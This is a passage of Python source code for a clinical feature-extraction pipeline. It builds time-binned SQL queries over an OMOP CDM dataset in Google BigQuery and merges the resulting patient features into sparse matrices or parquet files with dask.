\n {row_id_field},\n t1.person_id,\n CAST(t2.{index_date_field} AS DATE) as index_date, \n CAST(measurement_date AS DATE) AS concept_date,\n '{analysis_id}' AS analysis_id,\n CONCAT('bin_', {bin_left}, '_', {bin_right}) AS time_bin,\n CONCAT(\n CAST(measurement_concept_id AS STRING),\n '_',\n CASE\n WHEN value_as_number > range_high THEN 'abnormal_high'\n WHEN value_as_number < range_low THEN 'abnormal_low'\n ELSE 'normal'\n END\n ) AS concept_id\n FROM {dataset_project}.{dataset}.measurement t1\n INNER JOIN {rs_dataset_project}.{rs_dataset}.{cohort_name} AS t2 ON\n t1.person_id = t2.person_id\n INNER JOIN {dataset_project}.{dataset}.concept AS t3 ON\n t1.measurement_concept_id = t3.concept_id\n WHERE \n CAST(measurement_date AS DATE) BETWEEN \n DATE_ADD(CAST(t2.{index_date_field} AS DATE), INTERVAL {bin_left} DAY) AND\n DATE_ADD(CAST(t2.{index_date_field} AS DATE), INTERVAL {bin_right} DAY)\n AND standard_concept = 'S'\n AND value_as_number is NOT NULL\n AND range_low is NOT NULL\n AND range_high is NOT NULL\n {limit_str}\n )\n SELECT \n {row_id_field}, person_id, index_date, concept_id, analysis_id, time_bin, \n CONCAT(concept_id, '_', time_bin, '_', analysis_id) AS feature_id,\n COUNT(*) AS concept_count\n FROM source_table\n GROUP BY {row_id_field}, person_id, index_date, concept_id, analysis_id, time_bin\n \"\"\"\n\n def get_query_config(self):\n return {\n \"analysis_id\": \"measurement_range\",\n }\n\n\nclass MeasurementBinCountQuery(CountQuery):\n def get_base_query(self):\n return \"\"\"\n WITH source_table AS (\n SELECT measurement_concept_id, value_as_number,\n {row_id_field},\n t1.person_id,\n CAST(t2.{index_date_field} AS DATE) as index_date, \n CAST(measurement_date AS DATE) AS concept_date,\n CONCAT('bin_', {bin_left}, '_', {bin_right}) AS time_bin,\n '{analysis_id}' AS analysis_id,\n FROM {dataset_project}.{dataset}.measurement t1\n INNER JOIN {rs_dataset_project}.{rs_dataset}.{cohort_name} AS t2 ON\n t1.person_id = t2.person_id\n INNER JOIN {dataset_project}.{dataset}.concept AS t3 ON\n t1.measurement_concept_id = t3.concept_id\n WHERE \n CAST(measurement_date AS DATE) BETWEEN \n DATE_ADD(CAST(t2.{index_date_field} AS DATE), INTERVAL {bin_left} DAY) AND\n DATE_ADD(CAST(t2.{index_date_field} AS DATE), INTERVAL {bin_right} DAY)\n AND standard_concept = 'S'\n AND value_as_number is NOT NULL\n ),\n quantiles_raw AS (\n SELECT APPROX_QUANTILES(value_as_number, {num_bins_measurement}) as quantiles, measurement_concept_id\n FROM source_table\n GROUP BY measurement_concept_id\n ),\n quantile_start_table AS (\n SELECT measurement_concept_id, quantile_start, ROW_NUMBER() OVER(PARTITION BY measurement_concept_id ORDER BY quantile_start) as quantile_id\n FROM quantiles_raw\n CROSS JOIN UNNEST(quantiles_raw.quantiles) AS quantile_start\n ),\n quantile_end_table AS (\n SELECT * EXCEPT (quantile_start, quantile_id), quantile_id - 1 as quantile_id, quantile_start as quantile_end,\n FROM quantile_start_table\n ),\n merged_quantiles AS (\n SELECT *, \n CONCAT(\n measurement_concept_id, \n '_bin_', \n quantile_id, \n '_', \n quantile_start, \n '_', \n quantile_end\n ) as concept_id\n FROM quantile_start_table\n INNER JOIN quantile_end_table USING (measurement_concept_id, quantile_id)\n ),\n source_with_quantiles AS (\n SELECT *\n FROM source_table\n INNER JOIN merged_quantiles USING (measurement_concept_id)\n WHERE value_as_number BETWEEN quantile_start AND quantile_end\n )\n SELECT {row_id_field}, person_id, index_date, concept_id, analysis_id, time_bin, \n CONCAT(concept_id, '_', time_bin, '_', analysis_id) AS feature_id,\n COUNT(*) AS concept_count\n FROM source_with_quantiles\n GROUP BY {row_id_field}, person_id, index_date, concept_id, analysis_id, time_bin\n \"\"\"\n\n def get_query_config(self):\n return {\"analysis_id\": \"measurement_bin\", \"num_bins_measurement\": 5}\n\n\n## Datetime queries with hourly time bins\n\n\nclass ConditionOccurrenceCountDTQuery(CountDTQuery):\n def get_query_config(self):\n return {\n \"concept_id\": \"condition_concept_id\",\n \"concept_date\": \"condition_start_date\",\n \"concept_datetime\": \"condition_start_datetime\",\n \"source_table\": \"condition_occurrence\",\n \"analysis_id\": \"condition_occurrence_dt\",\n }\n\n\nclass DrugExposureCountDTQuery(CountDTQuery):\n def get_query_config(self):\n return {\n \"concept_id\": \"drug_concept_id\",\n \"concept_date\": \"drug_exposure_start_date\",\n \"concept_datetime\": \"drug_exposure_start_datetime\",\n \"source_table\": \"drug_exposure\",\n \"analysis_id\": \"drug_exposure_dt\",\n }\n\n\nclass DeviceExposureCountDTQuery(CountDTQuery):\n def get_query_config(self):\n return {\n \"concept_id\": \"device_concept_id\",\n \"concept_date\": \"device_exposure_start_date\",\n \"concept_datetime\": \"device_exposure_start_datetime\",\n \"source_table\": \"device_exposure\",\n \"analysis_id\": \"device_exposure_dt\",\n }\n\n\nclass MeasurementCountDTQuery(CountDTQuery):\n def get_query_config(self):\n return {\n \"concept_id\": \"measurement_concept_id\",\n \"concept_date\": \"measurement_date\",\n \"concept_datetime\": \"measurement_datetime\",\n \"source_table\": \"measurement\",\n \"analysis_id\": \"measurement_dt\",\n }\n\n\nclass ProcedureOccurrenceCountDTQuery(CountDTQuery):\n def get_query_config(self):\n return {\n \"concept_id\": \"procedure_concept_id\",\n \"concept_date\": \"procedure_date\",\n \"concept_datetime\": \"procedure_datetime\",\n \"source_table\": \"procedure_occurrence\",\n \"analysis_id\": \"procedure_occurrence_dt\",\n }\n\n\nclass NoteTypeCountDTQuery(CountDTQuery):\n def get_query_config(self):\n return {\n \"concept_id\": \"note_type_concept_id\",\n \"concept_date\": \"note_date\",\n \"concept_datetime\": \"note_datetime\",\n \"source_table\": \"note\",\n \"analysis_id\": \"note_type_dt\",\n }\n\n\nclass ObservationCountDTQuery(CountDTQuery):\n def get_query_config(self):\n return {\n \"concept_id\": \"observation_concept_id\",\n \"concept_date\": \"observation_date\",\n \"concept_datetime\": \"observation_datetime\",\n \"source_table\": \"observation\",\n \"analysis_id\": \"observation_dt\",\n }\n\n\nclass NoteNLPCountDTQuery(CountDTQuery):\n def get_base_query(self):\n \"\"\"\n A generic query that can be used to get the counts of unique concepts.\n Allows for binning by time\n \"\"\"\n return \"\"\"\n WITH source_table as (\n SELECT \n {row_id_field},\n t2.person_id,\n CAST(t2.{index_date_field} AS DATETIME) as index_date, \n CONCAT(CAST(note_nlp_concept_id AS STRING), '_', term_exists) AS concept_id,\n '{analysis_id}' AS analysis_id,\n CONCAT('bin_', {bin_left}, '_', {bin_right}) AS time_bin\n FROM {dataset_project}.{dataset}.note t1\n INNER JOIN {rs_dataset_project}.{rs_dataset}.{cohort_name} AS t2 ON\n t1.person_id = t2.person_id\n INNER JOIN {dataset_project}.{dataset}.note_nlp AS t3 ON\n t1.note_id = t3.note_id\n INNER JOIN {dataset_project}.{dataset}.concept AS t4 ON\n t3.note_nlp_concept_id = t4.concept_id \n WHERE \n note_datetime BETWEEN \n DATETIME_ADD(CAST(t2.{index_date_field} AS DATETIME), INTERVAL {bin_left} HOUR) AND\n DATETIME_ADD(CAST(t2.{index_date_field} AS DATETIME), INTERVAL {bin_right} HOUR)\n AND standard_concept = 'S'\n AND CAST(note_date AS DATETIME) != note_datetime\n {limit_str}\n )\n SELECT \n {row_id_field}, person_id, index_date, concept_id, analysis_id, time_bin, \n CONCAT(concept_id, '_', time_bin, '_', analysis_id) AS feature_id,\n COUNT(*) AS concept_count\n FROM source_table\n GROUP BY {row_id_field}, person_id, index_date, concept_id, analysis_id, time_bin\n \"\"\"\n\n def get_query_config(self):\n return {\"analysis_id\": \"note_nlp_dt\"}\n\n\nclass MeasurementRangeCountDTQuery(CountDTQuery):\n def get_base_query(self):\n return \"\"\"\n WITH source_table as (\n SELECT \n {row_id_field},\n t1.person_id,\n CAST(t2.{index_date_field} AS DATETIME) as index_date, \n '{analysis_id}' AS analysis_id,\n CONCAT('bin_', {bin_left}, '_', {bin_right}) AS time_bin,\n CONCAT(\n CAST(measurement_concept_id AS STRING),\n '_',\n CASE\n WHEN value_as_number > range_high THEN 'abnormal_high'\n WHEN value_as_number < range_low THEN 'abnormal_low'\n ELSE 'normal'\n END\n ) AS concept_id\n FROM {dataset_project}.{dataset}.measurement t1\n INNER JOIN {rs_dataset_project}.{rs_dataset}.{cohort_name} AS t2 ON\n t1.person_id = t2.person_id\n INNER JOIN {dataset_project}.{dataset}.concept AS t3 ON\n t1.measurement_concept_id = t3.concept_id\n WHERE \n measurement_datetime BETWEEN \n DATETIME_ADD(CAST(t2.{index_date_field} AS DATETIME), INTERVAL {bin_left} HOUR) AND\n DATETIME_ADD(CAST(t2.{index_date_field} AS DATETIME), INTERVAL {bin_right} HOUR)\n AND standard_concept = 'S'\n AND value_as_number is NOT NULL\n AND range_low is NOT NULL\n AND range_high is NOT NULL\n AND CAST(measurement_date AS DATETIME) != measurement_datetime\n {limit_str}\n )\n SELECT \n {row_id_field}, person_id, index_date, concept_id, analysis_id, time_bin, \n CONCAT(concept_id, '_', time_bin, '_', analysis_id) AS feature_id,\n COUNT(*) AS concept_count\n FROM source_table\n GROUP BY {row_id_field}, person_id, index_date, concept_id, analysis_id, time_bin\n \"\"\"\n\n def get_query_config(self):\n return {\n \"analysis_id\": \"measurement_range_dt\",\n }\n\n\nclass MeasurementBinCountDTQuery(CountDTQuery):\n def get_base_query(self):\n return \"\"\"\n WITH source_table AS (\n SELECT measurement_concept_id, value_as_number,\n {row_id_field},\n t1.person_id,\n CAST(t2.{index_date_field} AS DATETIME) as index_date, \n -- CAST(measurement_date AS DATE) AS concept_date,\n CONCAT('bin_', {bin_left}, '_', {bin_right}) AS time_bin,\n '{analysis_id}' AS analysis_id,\n FROM {dataset_project}.{dataset}.measurement t1\n INNER JOIN {rs_dataset_project}.{rs_dataset}.{cohort_name} AS t2 ON\n t1.person_id = t2.person_id\n INNER JOIN {dataset_project}.{dataset}.concept AS t3 ON\n t1.measurement_concept_id = t3.concept_id\n WHERE \n measurement_datetime BETWEEN \n DATETIME_ADD(CAST(t2.{index_date_field} AS DATETIME), INTERVAL {bin_left} HOUR) AND\n DATETIME_ADD(CAST(t2.{index_date_field} AS DATETIME), INTERVAL {bin_right} HOUR)\n AND standard_concept = 'S'\n AND value_as_number is NOT NULL\n AND CAST(measurement_date AS DATETIME) != measurement_datetime\n ),\n quantiles_raw AS (\n SELECT APPROX_QUANTILES(value_as_number, {num_bins_measurement}) as quantiles, measurement_concept_id\n FROM source_table\n GROUP BY measurement_concept_id\n ),\n quantile_start_table AS (\n SELECT measurement_concept_id, quantile_start, ROW_NUMBER() OVER(PARTITION BY measurement_concept_id ORDER BY quantile_start) as quantile_id\n FROM quantiles_raw\n CROSS JOIN UNNEST(quantiles_raw.quantiles) AS quantile_start\n ),\n quantile_end_table AS (\n SELECT * EXCEPT (quantile_start, quantile_id), quantile_id - 1 as quantile_id, quantile_start as quantile_end,\n FROM quantile_start_table\n ),\n merged_quantiles AS (\n SELECT *, \n CONCAT(\n measurement_concept_id, \n '_bin_', \n quantile_id, \n '_', \n quantile_start, \n '_', \n quantile_end\n ) as concept_id\n FROM quantile_start_table\n INNER JOIN quantile_end_table USING (measurement_concept_id, quantile_id)\n ),\n source_with_quantiles AS (\n SELECT *\n FROM source_table\n INNER JOIN merged_quantiles USING (measurement_concept_id)\n WHERE value_as_number BETWEEN quantile_start AND quantile_end\n )\n SELECT {row_id_field}, person_id, index_date, concept_id, analysis_id, time_bin, \n CONCAT(concept_id, '_', time_bin, '_', analysis_id) AS feature_id,\n COUNT(*) AS concept_count\n FROM source_with_quantiles\n GROUP BY {row_id_field}, person_id, index_date, concept_id, analysis_id, time_bin\n \"\"\"\n\n def get_query_config(self):\n return {\"analysis_id\": \"measurement_bin_dt\", \"num_bins_measurement\": 5}\n\n\nclass DemographicsQuery(FeatureQuery):\n def get_base_config(self):\n return {\"requires_time_bin\": False, \"requires_time_bin_hourly\": False}\n\n def get_base_query(self):\n return \"\"\"\n WITH source_table as (\n SELECT \n {row_id_field}, \n t1.person_id, \n t1.{concept_id} AS concept_id, \n t2.{index_date_field} AS index_date,\n '{analysis_id}' as analysis_id\n FROM {dataset_project}.{dataset}.person t1\n INNER JOIN {rs_dataset_project}.{rs_dataset}.{cohort_name} AS t2 ON\n t1.person_id = t2.person_id\n {limit_str}\n )\n SELECT {row_id_field}, person_id, index_date, \n concept_id, analysis_id, 'static' as time_bin, \n CONCAT(concept_id, '_', analysis_id) AS feature_id,\n 1 AS concept_count\n FROM source_table\n \"\"\"\n\n\nclass GenderQuery(DemographicsQuery):\n def get_query_config(self):\n return {\"concept_id\": \"gender_concept_id\", \"analysis_id\": \"gender\"}\n\n\nclass RaceQuery(DemographicsQuery):\n def get_query_config(self):\n return {\"concept_id\": \"race_concept_id\", \"analysis_id\": \"race\"}\n\n\nclass EthnicityQuery(DemographicsQuery):\n def get_query_config(self):\n return {\n \"concept_id\": \"ethnicity_concept_id\",\n \"analysis_id\": \"ethnicity\",\n }\n\n\nclass AgeGroupQuery(FeatureQuery):\n def get_base_config(self):\n return {\"requires_time_bin\": False, \"requires_time_bin_hourly\": False}\n\n def get_base_query(self):\n return \"\"\"\n WITH age_group_query AS (\n SELECT {row_id_field}, t1.person_id, '{analysis_id}' as analysis_id, {index_date_field} AS index_date,\n COALESCE(\n DATE_DIFF(CAST({index_date_field} AS DATE), CAST(t1.birth_datetime AS DATE), YEAR),\n EXTRACT(YEAR FROM CAST({index_date_field} AS DATE)) - year_of_birth\n ) as age_in_years\n FROM {dataset_project}.{dataset}.person t1\n INNER JOIN {rs_dataset_project}.{rs_dataset}.{cohort_name} AS t2 ON\n t1.person_id = t2.person_id\n {limit_str}\n ),\n source_table AS (\n SELECT *,\n CONCAT('age_group_', CAST(FLOOR(SAFE_DIVIDE(age_in_years, CAST({age_bin_size} AS INT64))) AS STRING)) AS concept_id\n FROM age_group_query\n )\n SELECT {row_id_field}, person_id, index_date, \n concept_id, analysis_id, 'static' as time_bin, \n CONCAT(concept_id, '_', analysis_id) AS feature_id,\n 1 AS concept_count\n FROM source_table\n \"\"\"\n\n def get_query_config(self):\n return {\"analysis_id\": \"age_group\", \"age_bin_size\": 5}\n\n\nclass BigQueryOMOPFeaturizer:\n \"\"\"\n Executes feature extraction against an OMOP CDM database stored in Google BigQuery\n \"\"\"\n\n def __init__(self, **kwargs):\n \"\"\"\n Args:\n data_path: the root directory path where the resulting data will be stored\n gcloud_storage_path: a google cloud storage bucket path where results can be stored\n features_by_analysis_path: the name of a subdirectory to be created within data_path\n gcloud_project: the name of the default GCP project\n dataset_project: the name of the project where the source data is stored\n rs_dataset_project: the name of the project where the cohort table is stored\n dataset: the name of the GCP dataset where the source data is stored\n rs_dataset: the name of the GCP dataset where the cohort table is stored\n features_dataset: the name of the GCP dataset where features tables may be written\n features_prefix: a string prefix for features tables\n cohort_name: the name of the table in rs_dataset that defines the cohort\n row_id_field: the name of the field in the cohort table that identifies unique predictions\n index_date_field: the name of the field in the cohort table that defines the index date\n limit: a limit on queries applied to the cohort table. None grabs all data\n google_application_credentials: path to google application credentials\n overwrite: whether extracted features should overwrite existing extraction\n merged_name: A directory name for the merged features\n binary: whether to assign a binary filter (value > 0) to merged features\n time_bins: a list of time bins\n \"\"\"\n self.config_dict = self.get_config_dict(**kwargs)\n self.query_dict = self.get_default_queries()\n self.valid_queries = list(self.query_dict.keys())\n self.time_bin_dict = self.get_time_bin_dict(\n bins=self.config_dict[\"time_bins\"],\n include_all_history=self.config_dict[\"include_all_history\"],\n inclusive_right=False,\n )\n\n self.time_bin_hourly_dict = self.get_time_bin_dict(\n bins=self.config_dict[\"time_bins_hourly\"],\n include_all_history=self.config_dict[\"include_all_history\"],\n inclusive_right=True,\n )\n\n self.db = BQDatabase(\n gcloud_project=self.config_dict[\"gcloud_project\"],\n google_application_credentials=self.config_dict[\n \"google_application_credentials\"\n ],\n )\n\n def get_defaults(self):\n \"\"\"\n Defines default config_dict parameters\n \"\"\"\n return {\n \"data_path\": \"/share/pi/nigam/projects/spfohl/cohorts/scratch\",\n \"gcloud_storage_path\": \"gs://feature_extraction_exports/cohorts/scratch/\",\n \"features_by_analysis_path\": \"features_by_analysis\",\n \"dataset\": \"starr_omop_cdm5_deid_20200404\",\n \"rs_dataset\": \"temp_dataset\",\n \"features_dataset\": \"temp_dataset\",\n \"features_prefix\": \"features\",\n \"cohort_name\": \"temp_cohort\",\n \"row_id_field\": \"prediction_id\",\n \"index_date_field\": \"admit_date\",\n \"time_bins\": [-365, -180, -90, -30, 0],\n \"time_bins_hourly\": [-7 * 24, -24 * 3, -24, -12, -4, 0],\n \"include_all_history\": True,\n \"limit\": None,\n \"gcloud_project\": \"som-nero-phi-nigam-starr\",\n \"dataset_project\": None,\n \"rs_dataset_project\": None,\n \"google_application_credentials\": os.path.expanduser(\n \"~/.config/gcloud/application_default_credentials.json\"\n ),\n \"overwrite\": False,\n \"merged_name\": \"merged_features_binary\",\n \"binary\": True,\n }\n\n def override_defaults(self, **kwargs):\n return {**self.get_defaults(), **kwargs}\n\n def get_config_dict(self, **kwargs):\n \"\"\"\n Gets the config_dict defaults and formats some additional elements\n \"\"\"\n config_dict = self.override_defaults(**kwargs)\n\n # Handle special parameters\n config_dict[\"limit_str\"] = (\n \"LIMIT {}\".format(config_dict[\"limit\"])\n if (\n (config_dict[\"limit\"] is not None)\n and (config_dict[\"limit\"] != \"\")\n and (config_dict[\"limit\"] != 0)\n )\n else \"\"\n )\n config_dict[\"dataset_project\"] = (\n config_dict[\"dataset_project\"]\n if (\n (config_dict[\"dataset_project\"] is not None)\n and (config_dict[\"dataset_project\"] != \"\")\n )\n else config_dict[\"gcloud_project\"]\n )\n config_dict[\"rs_dataset_project\"] = (\n config_dict[\"rs_dataset_project\"]\n if (\n (config_dict[\"rs_dataset_project\"] is not None)\n and (config_dict[\"rs_dataset_project\"] != \"\")\n )\n else config_dict[\"gcloud_project\"]\n )\n return config_dict\n\n def get_default_queries(self):\n query_classes = [\n ConditionOccurrenceCountQuery(),\n DrugExposureCountQuery(),\n DeviceExposureCountQuery(),\n MeasurementCountQuery(),\n ProcedureOccurrenceCountQuery(),\n NoteTypeCountQuery(),\n ObservationCountQuery(),\n NoteNLPCountQuery(),\n MeasurementRangeCountQuery(),\n MeasurementBinCountQuery(),\n ConditionOccurrenceCountDTQuery(),\n DrugExposureCountDTQuery(),\n DeviceExposureCountDTQuery(),\n MeasurementCountDTQuery(),\n ProcedureOccurrenceCountDTQuery(),\n NoteTypeCountDTQuery(),\n ObservationCountDTQuery(),\n NoteNLPCountDTQuery(),\n MeasurementRangeCountDTQuery(),\n MeasurementBinCountDTQuery(),\n GenderQuery(),\n RaceQuery(),\n EthnicityQuery(),\n AgeGroupQuery(),\n ]\n return {\n query_class.config_dict[\"analysis_id\"]: query_class\n for query_class in query_classes\n }\n\n def get_time_bin_dict(\n self,\n bins=None,\n include_all_history=True,\n inclusive_right=False,\n all_history_bound=-100 * 365,\n ):\n \"\"\"\n Construct a dictionary of time bins from bins.\n include_all_history: includes a general time bin of the last 100 years of history\n inclusive_right: Whether bins are inclusive on the right.\n For expected behavior, set to False if binning dates, and True if binning datetimes\n Example: \n bins = [-365, -180, -90, -30, 0], include_all_history=True\n returns [{'bin_left':-36500, 'bin_right': -1}\n {'bin_left': -365, 'bin_right': -181},\n {'bin_left': -180, 'bin_right': -91},\n {'bin_left': -90, 'bin_right': -31},\n {'bin_left': -30, 'bin_right': -1}]\n \"\"\"\n if (bins is None) and (not include_all_history):\n raise ValueError(\"if bins is None, include_all_history must be true\")\n\n bin_right_correction = 0 if inclusive_right else -1\n if include_all_history:\n result = [\n {\"bin_left\": all_history_bound, \"bin_right\": bin_right_correction}\n ]\n else:\n result = []\n\n if bins is not None:\n for i in range(len(bins) - 1):\n result.append(\n {\n \"bin_left\": bins[i],\n \"bin_right\": bins[i + 1] + bin_right_correction,\n }\n )\n return result\n\n def featurize(self, analysis_ids=None, exclude_analysis_ids=None):\n \"\"\"\n Runs the feature extraction pipeline for the set of analysis_ids.\n \"\"\"\n if analysis_ids is None:\n analysis_ids = self.query_dict.keys()\n\n if exclude_analysis_ids is not None:\n analysis_ids = [\n analysis_id\n for analysis_id in analysis_ids\n if analysis_id not in exclude_analysis_ids\n ]\n for analysis_id in analysis_ids:\n if analysis_id not in self.query_dict.keys():\n raise ValueError(\"Provided analysis_id not defined\")\n\n query_dict = {key: self.query_dict[key] for key in analysis_ids}\n\n features_path = os.path.join(\n self.config_dict[\"data_path\"], self.config_dict[\"features_by_analysis_path\"]\n )\n for analysis, query in query_dict.items():\n # Time binned queries\n if query.config_dict[\"requires_time_bin\"]:\n for time_bin in self.time_bin_dict:\n formatted_query = query.base_query.format_map(\n {**self.config_dict, **query.config_dict, **time_bin}\n )\n output_path = os.path.join(\n features_path,\n analysis,\n \"bin_{bin_left}_{bin_right}\".format_map(time_bin),\n )\n self.db.stream_query(\n query=formatted_query,\n output_path=output_path,\n overwrite=self.config_dict[\"overwrite\"],\n )\n elif query.config_dict[\"requires_time_bin_hourly\"]:\n for time_bin in self.time_bin_hourly_dict:\n formatted_query = query.base_query.format_map(\n {**self.config_dict, **query.config_dict, **time_bin}\n )\n output_path = os.path.join(\n features_path,\n analysis,\n \"bin_hourly_{bin_left}_{bin_right}\".format_map(time_bin),\n )\n self.db.stream_query(\n query=formatted_query,\n output_path=output_path,\n overwrite=self.config_dict[\"overwrite\"],\n )\n # Not time binned_queries\n else:\n formatted_query = query.base_query.format_map(\n {**self.config_dict, **query.config_dict}\n )\n output_path = os.path.join(features_path, analysis, \"static\")\n self.db.stream_query(\n query=formatted_query,\n output_path=output_path,\n overwrite=self.config_dict[\"overwrite\"],\n )\n\n def featurize_to_destination(\n self, analysis_ids=None, exclude_analysis_ids=None, merge_features=False\n ):\n \"\"\"\n Runs the feature extraction pipeline for the set of analysis_ids.\n \"\"\"\n if analysis_ids is None:\n analysis_ids = self.query_dict.keys()\n\n if exclude_analysis_ids is not None:\n analysis_ids = [\n analysis_id\n for analysis_id in analysis_ids\n if analysis_id not in exclude_analysis_ids\n ]\n for analysis_id in analysis_ids:\n if analysis_id not in self.query_dict.keys():\n raise ValueError(\"Provided analysis_id not defined\")\n\n query_dict = {key: self.query_dict[key] for key in analysis_ids}\n\n destination_tables = []\n for analysis, query in query_dict.items():\n # Time binned queries\n if query.config_dict[\"requires_time_bin\"]:\n for time_bin in self.time_bin_dict:\n formatted_query = query.base_query.format_map(\n {**self.config_dict, **query.config_dict, **time_bin}\n )\n destination_table = \"{rs_dataset_project}.{features_dataset}.{features_prefix}_{analysis}_bin_{bin_left}_{bin_right}\".format_map(\n {\n **self.config_dict,\n **query.config_dict,\n **{key: abs(value) for key, value in time_bin.items()},\n **{\"analysis\": analysis},\n }\n )\n destination_tables.append(destination_table)\n self.db.execute_sql_to_destination_table(\n formatted_query, destination=destination_table\n )\n self.db.client.extract_table(\n destination_table,\n \"{gcloud_storage_path}/{features_by_analysis_path}/{analysis}/bin_{bin_left}_{bin_right}/features*.csv\".format(\n **self.config_dict, **time_bin, analysis=analysis\n ),\n )\n elif query.config_dict[\"requires_time_bin_hourly\"]:\n for time_bin in self.time_bin_hourly_dict:\n formatted_query = query.base_query.format_map(\n {**self.config_dict, **query.config_dict, **time_bin}\n )\n destination_table = \"{rs_dataset_project}.{features_dataset}.{features_prefix}_{analysis}_bin_hourly_{bin_left}_{bin_right}\".format_map(\n {\n **self.config_dict,\n **query.config_dict,\n **{key: abs(value) for key, value in time_bin.items()},\n **{\"analysis\": analysis},\n }\n )\n destination_tables.append(destination_table)\n self.db.execute_sql_to_destination_table(\n formatted_query, destination=destination_table\n )\n self.db.client.extract_table(\n destination_table,\n \"{gcloud_storage_path}/{features_by_analysis_path}/{analysis}/bin_hourly_{bin_left}_{bin_right}/features*.csv\".format(\n **self.config_dict, **time_bin, analysis=analysis\n ),\n )\n\n # Not time binned_queries\n else:\n formatted_query = query.base_query.format_map(\n {**self.config_dict, **query.config_dict}\n )\n destination_table = \"{rs_dataset_project}.{features_dataset}.{features_prefix}_{analysis}\".format_map(\n {**self.config_dict, **query.config_dict, **{\"analysis\": analysis},}\n )\n destination_tables.append(destination_table)\n self.db.execute_sql_to_destination_table(\n formatted_query, destination=destination_table\n )\n self.db.client.extract_table(\n destination_table,\n \"{gcloud_storage_path}/{features_by_analysis_path}/{analysis}/static/features*.csv\".format(\n **self.config_dict, analysis=analysis\n ),\n )\n if merge_features:\n self.merge_features_in_bq(\n tables=destination_tables, binary=self.config_dict[\"binary\"]\n )\n\n def merge_features_in_bq(\n self, tables, binary=False,\n ):\n \"\"\"\n Unions several bigquery feature tables into one large result\n \"\"\"\n base_query = \"\"\"\n SELECT * FROM (\n {inner_query}\n )\n ORDER BY {row_id_field}\n \"\"\"\n\n if binary:\n table_query = \"\"\"\n SELECT {row_id_field}, person_id, feature_id, CAST(concept_count > 0 AS INT64) as concept_count\n FROM {table}\n \"\"\"\n else:\n table_query = \"\"\"\n SELECT {row_id_field}, person_id, feature_id, concept_count\n FROM {table}\n \"\"\"\n\n for i, table in enumerate(tables):\n if i == 0:\n inner_query = table_query.format(**self.config_dict, table=table)\n else:\n inner_query = \"\"\"\n {inner_query}\n UNION ALL\n {table_query}\n \"\"\".format(\n inner_query=inner_query,\n table_query=table_query.format(**self.config_dict, table=table),\n )\n final_query = base_query.format(inner_query=inner_query, **self.config_dict)\n\n final_destination_table = \"{rs_dataset_project}.{features_dataset}.features_merged\".format(\n **self.config_dict\n )\n self.db.execute_sql_to_destination_table(\n final_query, destination=final_destination_table,\n )\n\n self.db.client.extract_table(\n final_destination_table,\n \"{gcloud_storage_path}/{merged_name}/features*.csv\".format(\n **self.config_dict\n ),\n )\n\n def merge_features(\n self,\n merged_name=\"merged_features\",\n create_sparse=False,\n create_parquet=False,\n binary=False,\n load_extension=\"parquet\",\n dask_temp_dir=None,\n existing_vocab_path=None,\n row_id_field=\"prediction_id\",\n **kwargs\n ):\n \"\"\"\n Merges the features extracted from several analyses on disk\n Args:\n merged_name: the name of the directory to create\n create_sparse: whether to generate a merged scipy.csr_matrix\n create_parquet: whether to generate a merged parquet dataset indexed row_id_field\n binary: whether to save the results as binary (1 if count > 1 else 0) or as the count\n load_extension: the extension of the files to load\n dask_temp_dir: the name of a temporary directory for dask to use\n existing_vocab_path: the path to an existing vocabulary\n \"\"\"\n if dask_temp_dir is not None:\n dask.config.set({\"temporary_directory\": dask_temp_dir})\n dask_client = Client(processes=False)\n dask.config.set(scheduler=\"threads\")\n\n features_path = os.path.join(\n self.config_dict[\"data_path\"], self.config_dict[\"features_by_analysis_path\"]\n )\n merged_path = os.path.join(self.config_dict[\"data_path\"], merged_name)\n\n overwrite_dir(merged_path, overwrite=True)\n\n if existing_vocab_path is None:\n vocab_path = os.path.join(merged_path, \"vocab\")\n overwrite_dir(vocab_path, overwrite=True)\n # Create a vocabulary\n vocab = self.get_vocab(features_path, load_extension=load_extension)\n vocab.to_parquet(os.path.join(vocab_path, \"vocab.parquet\"))\n else:\n pd.read_parquet(existing_vocab_path, engine=\"pyarrow\")\n\n ## Read all the data with dask dataframe\n paths = glob.glob(\n os.path.join(\n features_path,\n \"**\",\n \"*.{load_extension}\".format(load_extension=load_extension),\n ),\n recursive=True,\n )\n\n load_columns = [\n row_id_field,\n \"person_id\",\n \"feature_id\",\n \"concept_count\",\n ]\n table_df = dd.concat(\n [self.read_file(path, columns=load_columns) for path in paths],\n interleave_partitions=True,\n ).merge(vocab)\n\n # If writing sparse data\n if create_sparse:\n sparse_path = os.path.join(merged_path, \"features_sparse\")\n overwrite_dir(sparse_path, overwrite=True)\n features_row_id_map = (\n table_df[[self.config_dict[\"row_id_field\"]]]\n .drop_duplicates()\n .reset_index(drop=True)\n .reset_index()\n .rename(columns={\"index\": \"features_row_id\"})\n .compute()\n )\n features_row_id_map.to_parquet(\n os.path.join(sparse_path, \"features_row_id_map.parquet\"),\n engine=\"pyarrow\",\n )\n table_df = table_df.merge(features_row_id_map)\n\n table_df = table_df.set_index(self.config_dict[\"row_id_field\"])\n # print('set_index successful')\n if create_sparse:\n table_df_pd = table_df.compute()\n if binary:\n features = sp.csr_matrix(\n (\n np.ones_like(table_df_pd.concept_count, dtype=np.int64),\n (table_df_pd[\"features_row_id\"], table_df_pd[\"col_id\"]),\n )\n )\n else:\n features = sp.csr_matrix(\n (\n table_df_pd.concept_count,\n (table_df_pd[\"features_row_id\"], table_df_pd[\"col_id\"]),\n )\n )\n joblib.dump(features, os.path.join(sparse_path, \"features.gz\"))\n\n # If writing parquets\n if create_parquet:\n parquet_path = os.path.join(merged_path, \"features_parquet\")\n overwrite_dir(parquet_path, overwrite=True)\n if binary:\n table_df = table_df.assign(\n concept_count=lambda x: (x.concept_count >= 1).astype(np.int64)\n )\n print(\"Conversion to binary successful\")\n table_df.to_parquet(parquet_path, engine=\"pyarrow\")\n\n @staticmethod\n def read_file(filename, columns=None, **kwargs):\n \"\"\"\n Reads files in dask, on the basis of the extension\n \"\"\"\n load_extension = os.path.splitext(filename)[-1]\n if load_extension == \".parquet\":\n return dd.read_parquet(filename, columns=columns, **kwargs)\n elif load_extension == \".csv\":\n return dd.read_csv(filename, usecols=columns, **kwargs)\n\n def get_vocab(self, the_path, load_extension=\"parquet\"):\n \"\"\"\n Constructs a dictionary of unique features from a set of parquets\n \"\"\"\n paths = glob.glob(\n os.path.join(\n the_path,\n \"**\",\n \"*.{load_extension}\".format(load_extension=load_extension),\n ),\n recursive=True,\n )\n vocab = (\n dd.concat(\n [\n self.read_file(filename, columns=[\"feature_id\"]).drop_duplicates()\n for 